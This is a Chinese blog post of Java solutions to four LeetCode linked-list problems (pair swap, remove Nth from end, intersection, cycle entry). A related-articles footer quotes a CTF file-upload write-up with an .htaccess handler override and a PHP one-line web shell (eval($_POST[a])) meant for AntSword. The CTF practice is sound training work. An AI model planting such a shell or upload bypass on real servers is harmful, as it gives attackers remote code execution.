代码随想录二刷day04

news/2025/2/5 8:10:53/

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

文章目录

  • 前言
  • 一、力扣24. 两两交换链表中的节点
  • 二、力扣19. 删除链表的倒数第 N 个结点
  • 三、力扣面试题 02.07. 链表相交
  • 四、力扣142. 环形链表 II


前言


一、力扣24. 两两交换链表中的节点

迭代

/*** Definition for singly-linked list.* public class ListNode {*     int val;*     ListNode next;*     ListNode() {}*     ListNode(int val) { this.val = val; }*     ListNode(int val, ListNode next) { this.val = val; this.next = next; }* }*/
class Solution {public ListNode swapPairs(ListNode head) {ListNode node = new ListNode(-1, head);ListNode prev = node, cur = head;int temp;while(cur != null && cur.next != null){temp = cur.val;cur.val = cur.next.val;cur.next.val = temp;prev = cur.next;cur = prev.next;}return node.next;}
}

递归

/*** Definition for singly-linked list.* public class ListNode {*     int val;*     ListNode next;*     ListNode() {}*     ListNode(int val) { this.val = val; }*     ListNode(int val, ListNode next) { this.val = val; this.next = next; }* }*/
class Solution {public ListNode swapPairs(ListNode head) {if(head == null || head.next == null){return head;}int temp;ListNode cur = head;temp = cur.val;cur.val = cur.next.val;cur.next.val = temp;ListNode node = swapPairs(cur.next.next);if(node == null){return cur;}return cur;}
}

二、力扣19. 删除链表的倒数第 N 个结点

直观法

/*** Definition for singly-linked list.* public class ListNode {*     int val;*     ListNode next;*     ListNode() {}*     ListNode(int val) { this.val = val; }*     ListNode(int val, ListNode next) { this.val = val; this.next = next; }* }*/
class Solution {public ListNode removeNthFromEnd(ListNode head, int n) {if(head == null){return head;}ListNode node = new ListNode(-1, head);ListNode pre = node, p = head;int i = 0, size = 0;while(p != null){size ++;p = p.next;}if(n > size){return head;}p = head;while(i < size-n){i ++;pre = p;p = p.next;}pre.next = p.next;return node.next;}
}

双指针法

/*** Definition for singly-linked list.* public class ListNode {*     int val;*     ListNode next;*     ListNode() {}*     ListNode(int val) { this.val = val; }*     ListNode(int val, ListNode next) { this.val = val; this.next = next; }* }*/
class Solution {public ListNode removeNthFromEnd(ListNode head, int n) {ListNode node = new ListNode(-1, head);ListNode fast = node, slow = node;int i = 1;while(i <= n+1 && fast != null){i ++;fast = fast.next;}if(fast == null && i < n+1){return node.next;}while(fast != null){fast = fast.next;slow = slow.next;}slow.next = slow.next.next;return node.next;}
}

三、力扣面试题 02.07. 链表相交

/*** Definition for singly-linked list.* public class ListNode {*     int val;*     ListNode next;*     ListNode(int x) {*         val = x;*         next = null;*     }* }*/
public class Solution {public ListNode getIntersectionNode(ListNode headA, ListNode headB) {ListNode longL = new ListNode(-1, headA);ListNode shortL = new ListNode(-1, headB);ListNode pa = headA, pb = headB;int lenA = 0, lenB = 0, diff = 0;while(pa != null){lenA ++;pa = pa.next;}while(pb != null){lenB ++;pb = pb.next;}if(lenA > lenB){diff = lenA - lenB;longL.next = headA;shortL.next = headB;}else{diff = lenB - lenA;longL.next = headB;shortL.next = headA;}pa = longL.next; pb = shortL.next;for(int i = 0; i < diff; i++){pa = pa.next;}while(pa != null && pb != null){if(pa == pb){return pa;}pa = pa.next;pb = pb.next;}return null;}
}

四、力扣142. 环形链表 II

因为快指针的速度是慢指针的两倍, 所以,在进入环形之后, 在快慢指针相遇之前, 慢指针必然走不满一圈,设入环之前的节点数为x, 入环后到相遇节点之前为y个, 相遇节点到入环处为z个, 相遇时, 快指针走过的节点数是慢指针的2倍, 故有,2(x + y) = x + n(z + y) + y,, 化简后为, x = n(z +y)-y, 右边提取一个 y 得到,x = (n-1)(z+y) + z, 此时的慢指针,一定会先走完z, 然后就是n-1圈, 就一直在进入点等待x

/*** Definition for singly-linked list.* class ListNode {*     int val;*     ListNode next;*     ListNode(int x) {*         val = x;*         next = null;*     }* }*/
public class Solution {public ListNode detectCycle(ListNode head) {ListNode fastNode = head, slowNode = head;while(fastNode != null && fastNode.next != null){fastNode = fastNode.next.next;slowNode = slowNode.next;if(fastNode == slowNode){ListNode index1 = head;ListNode index2 = slowNode;while(index1 != index2){index1 = index1.next;index2 = index2.next;}return index1;}}return null;}
}

http://www.ppmy.cn/news/1081172.html

相关文章

WIFI与BT的PCB布局布线注意事项

1、模块整体布局时&#xff0c;WIFI模组要尽量远离DDR、HDMI、USB、LCD电路以及喇叭等易干扰模块或连接座&#xff1b; 2、晶体电路布局需要优先考虑&#xff0c;布局时应与芯片在同一层并尽量靠近放置以避免打过孔&#xff0c;晶体走线尽可能的短&#xff0c;远离干扰源&…

CTFhub-文件上传-.htaccess

首先上传 .htaccess 的文件 .htaccess SetHandler application/x-httpd-php 这段内容的作用是使所有的文件都会被解析为php文件 然后上传1.jpg 的文件 内容为一句话木马 1.jpg <?php echo "PHP Loaded"; eval($_POST[a]); ?> 用蚁剑连接 http://ch…

Arcpy批量处理数据——文件夹下的所有栅格求和

使用场景&#xff1a;在文件夹下存放着许多tif格式的栅格文件&#xff0c;需要求此文件夹下所有栅格文件的和。 以下代码将每一个tif文件中的nodata像元转为了0值像元&#xff0c;再对每一个tif格式的栅格文件进行了累加。如果没有将nodata像元进行转0处理&#xff0c;那么某一…

linux如何抓包数据

分析&回答 (1) 想要截获所有210.27.48.1 的主机收到的和发出的所有的分组&#xff1a; #tcpdump host 210.27.48.1 复制代码 (2) 想要截获主机210.27.48.1 和主机210.27.48.2或210.27.48.3的通信&#xff0c;使用命令(注意&#xff1a;括号前的反斜杠是必须的)&#xff…

SpringBoot@Profile详解

​一、Profile 注解的作用 Profile : 在开发项目的时候&#xff0c;一个项目可能存在多种环境。比如&#xff1a;生产环境、开发环境、测试环境。其中&#xff0c;每种环境所对应不同的配置&#xff0c;为了提高开发效率&#xff0c;不一直进行配置的修改&#xff0c;还有就是…

Linux centos7 bash编程——-求质数和

训练项目&#xff1a;使用函数求质数和。 定义一个函数IsPrime()&#xff0c;据此判断一个数是否为质数 由用户输入一个整数&#xff0c;求出比此数大的两个最小质数之和。 一、解决思路: 1.先在键盘上输入一个整数 2.求出比此数大的最小质数 3.再求出比此质数大的另一个…

FFmpeg5.0源码阅读——FFmpeg大体框架(以GIF转码为示例)

摘要&#xff1a;前一段时间熟悉了下FFmpeg主流程源码实现&#xff0c;对FFmpeg的整体框架有了个大概的认识&#xff0c;因此在此做一个笔记&#xff0c;希望以比较容易理解的文字描述FFmpeg本身的结构&#xff0c;加深对FFmpeg的框架进行梳理加深理解&#xff0c;如果文章中有…

图神经网络教程之GraphSAGE(pyG)

图神经网络-pyG-GAT 在上一章节介绍了pyG-GAT的使用&#xff0c;本文将介绍GraphSage模型的构建 实现了一个使用GraphSAGE&#xff08;Graph Sample and Aggregated&#xff09;的节点分类模型&#xff0c;该模型在Cora数据集上进行训练和测试。以下是代码的详细解释&#xff1…